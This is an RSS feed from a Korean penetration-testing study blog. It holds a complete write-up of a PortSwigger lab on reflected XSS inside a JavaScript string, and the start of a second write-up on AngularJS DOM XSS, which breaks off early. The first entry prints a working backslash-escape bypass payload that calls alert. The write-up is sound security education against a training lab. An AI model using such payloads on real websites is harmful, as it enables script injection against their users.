<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>0xSecurity</title>
    <link>https://code000.tistory.com/</link>
    <description>모의해킹 공부 내용 정리</description>
    <language>ko</language>
    <pubDate>Sun, 27 Sep 2026 16:01:12 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>0xSecurity</managingEditor>
    <image>
      <title>0xSecurity</title>
      <url>https://tistory1.daumcdn.net/tistory/5906661/attach/cc06e33375cb4528a5a978a0bffbe5f1</url>
      <link>https://code000.tistory.com</link>
    </image>
    <item>
      <title>Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped</title>
      <link>https://code000.tistory.com/entry/Lab-Reflected-XSS-into-a-JavaScript-string-with-angle-brackets-and-double-quotes-HTML-encoded-and-single-quotes-escaped</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; JavaScript 문자열을 탈출하여 `alert` 함수를 호출하는 XSS 공격을 수행하는 것.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당&amp;nbsp;랩은&amp;nbsp;`search`&amp;nbsp;쿼리&amp;nbsp;tracking&amp;nbsp;기능에&amp;nbsp;Reflected&amp;nbsp;XSS&amp;nbsp;취약점이&amp;nbsp;존재한다고&amp;nbsp;한다.&amp;nbsp;꺾쇠&amp;nbsp;기호와&amp;nbsp;더블&amp;nbsp;쿼터는&amp;nbsp;HTML&amp;nbsp;인코딩&amp;nbsp;처리가&amp;nbsp;되고&amp;nbsp;싱글&amp;nbsp;쿼터는&amp;nbsp;이스케이프&amp;nbsp;처리된다.&amp;nbsp;랩&amp;nbsp;문제를&amp;nbsp;해결하기&amp;nbsp;위해서는&amp;nbsp;JavaScript&amp;nbsp;문자열을&amp;nbsp;탈출해서&amp;nbsp;`alert`&amp;nbsp;함수를&amp;nbsp;호출하는&amp;nbsp;XSS&amp;nbsp;공격을&amp;nbsp;수행해야&amp;nbsp;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;검색어&amp;nbsp;입력&amp;nbsp;시&amp;nbsp;사용자&amp;nbsp;입력&amp;nbsp;값&amp;nbsp;필터링&amp;nbsp;확인을&amp;nbsp;위해&amp;nbsp;특수문자&amp;nbsp;4개를&amp;nbsp;삽입하고&amp;nbsp;Search&amp;nbsp;버튼을&amp;nbsp;클릭함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b008rk/dJMcaijTBC4/YgkV24Xs7B9zy1oBjJXgaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b008rk/dJMcaijTBC4/YgkV24Xs7B9zy1oBjJXgaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b008rk/dJMcaijTBC4/YgkV24Xs7B9zy1oBjJXgaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb008rk%2FdJMcaijTBC4%2FYgkV24Xs7B9zy1oBjJXgaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이때의&amp;nbsp;요청&amp;nbsp;및&amp;nbsp;응답을&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;사용자&amp;nbsp;입력&amp;nbsp;값은&amp;nbsp;`searchTerms`&amp;nbsp;변수&amp;nbsp;값이&amp;nbsp;되고&amp;nbsp;꺾쇠&amp;nbsp;기호와&amp;nbsp;더블&amp;nbsp;쿼터는&amp;nbsp;HTML&amp;nbsp;Entity로&amp;nbsp;치환되며&amp;nbsp;싱글&amp;nbsp;쿼터는&amp;nbsp;이스케이프&amp;nbsp;처리되고&amp;nbsp;있음을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1117&quot; data-origin-height=&quot;586&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GeLRG/dJMcaiEc51v/oarpELb4V5VZEZNGIYMrB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GeLRG/dJMcaiEc51v/oarpELb4V5VZEZNGIYMrB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GeLRG/dJMcaiEc51v/oarpELb4V5VZEZNGIYMrB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGeLRG%2FdJMcaiEc51v%2FoarpELb4V5VZEZNGIYMrB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;446&quot; data-origin-width=&quot;1117&quot; data-origin-height=&quot;586&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;`search` 파라미터에 `test'test`를 삽입하여 요청을 보내면 싱글 쿼터가 이스케이프 처리되어 JavaScript 문자열을 탈출할 수 없음을 확인함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;543&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUqYfN/dJMcafgrwRY/tR9dtFDgY8Pf3sBLLMqbdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUqYfN/dJMcafgrwRY/tR9dtFDgY8Pf3sBLLMqbdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUqYfN/dJMcafgrwRY/tR9dtFDgY8Pf3sBLLMqbdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUqYfN%2FdJMcafgrwRY%2FtR9dtFDgY8Pf3sBLLMqbdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;414&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;543&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;싱글&amp;nbsp;쿼터를&amp;nbsp;삽입하여&amp;nbsp;기존의&amp;nbsp;JavaScript&amp;nbsp;문자열을&amp;nbsp;탈출한&amp;nbsp;뒤&amp;nbsp;이후&amp;nbsp;입력&amp;nbsp;값을&amp;nbsp;JavaScript&amp;nbsp;코드로&amp;nbsp;삽입하려고&amp;nbsp;시도했다.&amp;nbsp;하지만&amp;nbsp;싱글&amp;nbsp;쿼터는&amp;nbsp;이스케이프&amp;nbsp;처리되어&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;사용자&amp;nbsp;입력&amp;nbsp;값은&amp;nbsp;기존&amp;nbsp;JavaScript&amp;nbsp;문자열&amp;nbsp;내부에&amp;nbsp;포함되어&amp;nbsp;임의의&amp;nbsp;JavaScript&amp;nbsp;구문을&amp;nbsp;삽입할&amp;nbsp;수&amp;nbsp;없었다.&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;`search`&amp;nbsp;파라미터에&amp;nbsp;`test\'test`를&amp;nbsp;입력하여&amp;nbsp;요청을&amp;nbsp;전송하면&amp;nbsp;싱글&amp;nbsp;쿼터에&amp;nbsp;적용된&amp;nbsp;이스케이프&amp;nbsp;처리를&amp;nbsp;우회하여&amp;nbsp;기존&amp;nbsp;JavaScript&amp;nbsp;문자열을&amp;nbsp;탈출할&amp;nbsp;수&amp;nbsp;있음을&amp;nbsp;확인함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ck45Tt/dJMcagfipj7/qYcaT4LSz7Qf8VbP1x3yB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ck45Tt/dJMcagfipj7/qYcaT4LSz7Qf8VbP1x3yB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ck45Tt/dJMcagfipj7/qYcaT4LSz7Qf8VbP1x3yB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fck45Tt%2FdJMcagfipj7%2FqYcaT4LSz7Qf8VbP1x3yB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;416&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;싱글 쿼터 앞에 이스케이프 처리 기호인 `\`을 추가하면 `\\'` 형태가 된다. 이때 JavaScript 엔진은 첫 번째 기호를 이스케이프 처리 문자로 해석하고 두 번째 `\` 기호를 일반 문자로 처리한다. 그렇기 때문에 두 번째 `\` 기호는 이스케이프 처리 문자가 아닌 일반 문자가 되어 싱글 쿼터는 이스케이프 처리되지 않고 JavaScript 문자열 종료의 의미를 가진다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;따라서&amp;nbsp;싱글&amp;nbsp;쿼터가&amp;nbsp;JavaScript&amp;nbsp;문자열의&amp;nbsp;종료&amp;nbsp;문자로&amp;nbsp;동작하여&amp;nbsp;기존&amp;nbsp;문자열을&amp;nbsp;탈출하고&amp;nbsp;이후에&amp;nbsp;입력&amp;nbsp;값들은&amp;nbsp;JavaScript&amp;nbsp;코드&amp;nbsp;영역에&amp;nbsp;삽입할&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;된다.&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;nbsp;이스케이프&amp;nbsp;처리를&amp;nbsp;우회하는&amp;nbsp;페이로드를&amp;nbsp;`search`&amp;nbsp;파라미터에&amp;nbsp;삽입하여&amp;nbsp;요청을&amp;nbsp;전송하면&amp;nbsp;JavaScript&amp;nbsp;코드&amp;nbsp;영역에&amp;nbsp;`alert`&amp;nbsp;함수를&amp;nbsp;삽입할&amp;nbsp;수&amp;nbsp;있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1785069090982&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- test는 Burp Suite에서 
페이로드 삽입 부분을 빠르게 확인하기 위해서 삽입했습니다.--&amp;gt;
search=test\';alert(``xss``);//&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;545&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1f7BV/dJMcahL1Q0L/gVHiyX8P7whaUSOzkGjGSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1f7BV/dJMcahL1Q0L/gVHiyX8P7whaUSOzkGjGSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1f7BV/dJMcahL1Q0L/gVHiyX8P7whaUSOzkGjGSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1f7BV%2FdJMcahL1Q0L%2FgVHiyX8P7whaUSOzkGjGSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;414&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;545&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 147px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 147px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 147px;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;이스케이프&amp;nbsp;처리&amp;nbsp;기호인&amp;nbsp;`\`을&amp;nbsp;이스케이프&amp;nbsp;처리함으로써&amp;nbsp;싱글&amp;nbsp;쿼터가&amp;nbsp;JavaScript&amp;nbsp;문자열&amp;nbsp;종료를&amp;nbsp;의미하는&amp;nbsp;싱글&amp;nbsp;쿼터가&amp;nbsp;되어&amp;nbsp;기존의&amp;nbsp;문자열&amp;nbsp;탈출이&amp;nbsp;가능했다.&amp;nbsp;이후에&amp;nbsp;입력되는&amp;nbsp;값들은&amp;nbsp;JavaScript&amp;nbsp;코드&amp;nbsp;영역에&amp;nbsp;삽입되므로&amp;nbsp;`alert`&amp;nbsp;함수를&amp;nbsp;호출하도록&amp;nbsp;했다.&amp;nbsp;마지막으로&amp;nbsp;`//`을&amp;nbsp;추가해서&amp;nbsp;페이로드를&amp;nbsp;입력했을&amp;nbsp;때&amp;nbsp;남는&amp;nbsp;`';`을&amp;nbsp;주석&amp;nbsp;처리하여&amp;nbsp;문법&amp;nbsp;오류를&amp;nbsp;방지하도록&amp;nbsp;처리했다.&lt;br /&gt;&lt;br /&gt;`alert` 함수를 보면 백틱(&lt;span style=&quot;color: #ef6f53; background-color: #dddddd;&quot;&gt; ` &lt;/span&gt;)을 사용한 것을 볼 수 있는데 이는 템플릿 리터럴이라고 부르며 JavaScript 문자열 표기법이다. 싱글 쿼터, 더블 쿼터는 이스케이프 처리와 HTML Entity 치환 때문에 사용이 불가능하지만 백틱은 별다른 필터링이 없어서 사용이 가능했다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;위&amp;nbsp;페이로드를&amp;nbsp;복사한&amp;nbsp;뒤&amp;nbsp;검색어&amp;nbsp;입력창에&amp;nbsp;삽입하고&amp;nbsp;Search&amp;nbsp;버튼을&amp;nbsp;클릭함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d7VKaS/dJMcah6qy1g/lCvBgKbKcJRCtaktdaKYmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d7VKaS/dJMcah6qy1g/lCvBgKbKcJRCtaktdaKYmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d7VKaS/dJMcah6qy1g/lCvBgKbKcJRCtaktdaKYmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd7VKaS%2FdJMcah6qy1g%2FlCvBgKbKcJRCtaktdaKYmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;페이로드가 실행되면서 `alert` 함수가 호출되는 것을 볼 수 있으며 사용자의 입력 값으로 JavaScript 코드 실행이 가능하므로 XSS 공격에 취약하다는 것을 알 수 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQyAPq/dJMcafgrwSg/UzdQPuteR9wjCFk0UA7PE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQyAPq/dJMcafgrwSg/UzdQPuteR9wjCFk0UA7PE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQyAPq/dJMcafgrwSg/UzdQPuteR9wjCFk0UA7PE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQyAPq%2FdJMcafgrwSg%2FUzdQPuteR9wjCFk0UA7PE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 요구대로 XSS 공격을 수행하여 `alert` 함수를 호출했으므로 랩 문제를 해결하게 됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ga3hf/dJMb991Axhk/TNFe98Jujv8w5rykXnHh40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ga3hf/dJMb991Axhk/TNFe98Jujv8w5rykXnHh40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ga3hf/dJMb991Axhk/TNFe98Jujv8w5rykXnHh40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGa3hf%2FdJMb991Axhk%2FTNFe98Jujv8w5rykXnHh40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>portswigger</category>
      <category>Reflected XSS</category>
      <category>RXSS</category>
      <category>XSS</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <category>이스케이프 우회</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/44</guid>
      <comments>https://code000.tistory.com/entry/Lab-Reflected-XSS-into-a-JavaScript-string-with-angle-brackets-and-double-quotes-HTML-encoded-and-single-quotes-escaped#entry44comment</comments>
      <pubDate>Sun, 26 Jul 2026 21:50:09 +0900</pubDate>
    </item>
    <item>
      <title>Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded</title>
      <link>https://code000.tistory.com/entry/Lab-DOM-XSS-in-AngularJS-expression-with-angle-brackets-and-double-quotes-HTML-encoded</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; AngularJS 표현식을 사용한 XSS 공격을 수행하여 `alert` 함수를 호출 하는 것.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당&amp;nbsp;랩은&amp;nbsp;search&amp;nbsp;기능안에&amp;nbsp;AngularJS&amp;nbsp;표현식에&amp;nbsp;대해서&amp;nbsp;DOM-based&amp;nbsp;XSS&amp;nbsp;취약점이&amp;nbsp;존재한다.&amp;nbsp;AngularJS는&amp;nbsp;유명한&amp;nbsp;Javascript&amp;nbsp;라이브러리이며&amp;nbsp;HTML&amp;nbsp;코드에&amp;nbsp;directive가&amp;nbsp;추가되면&amp;nbsp;`{{&amp;nbsp;...&amp;nbsp;}}`&amp;nbsp;안에서&amp;nbsp;Javascript&amp;nbsp;표현식을&amp;nbsp;사용할&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;해당&amp;nbsp;기술은&amp;nbsp;꺾쇠&amp;nbsp;기호&amp;nbsp;`&amp;lt;`,`&amp;gt;`을&amp;nbsp;사용하지&amp;nbsp;못할&amp;nbsp;때&amp;nbsp;유용하다.&amp;nbsp;랩을&amp;nbsp;해결하려면&amp;nbsp;AngularJS&amp;nbsp;표현식을&amp;nbsp;실행하여&amp;nbsp;alert&amp;nbsp;함수를&amp;nbsp;호출하는&amp;nbsp;XSS&amp;nbsp;공격을&amp;nbsp;수행해야&amp;nbsp;한다고&amp;nbsp;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹&amp;nbsp;사이트에서&amp;nbsp;사용되는&amp;nbsp;기술을&amp;nbsp;알려주는&amp;nbsp;Wappalyzer를&amp;nbsp;사용해&amp;nbsp;보면&amp;nbsp;AangularJS&amp;nbsp;버전&amp;nbsp;1.7.7을&amp;nbsp;사용&amp;nbsp;중이라는&amp;nbsp;것을&amp;nbsp;확인함.&lt;/li&gt;
&lt;/ul&gt;
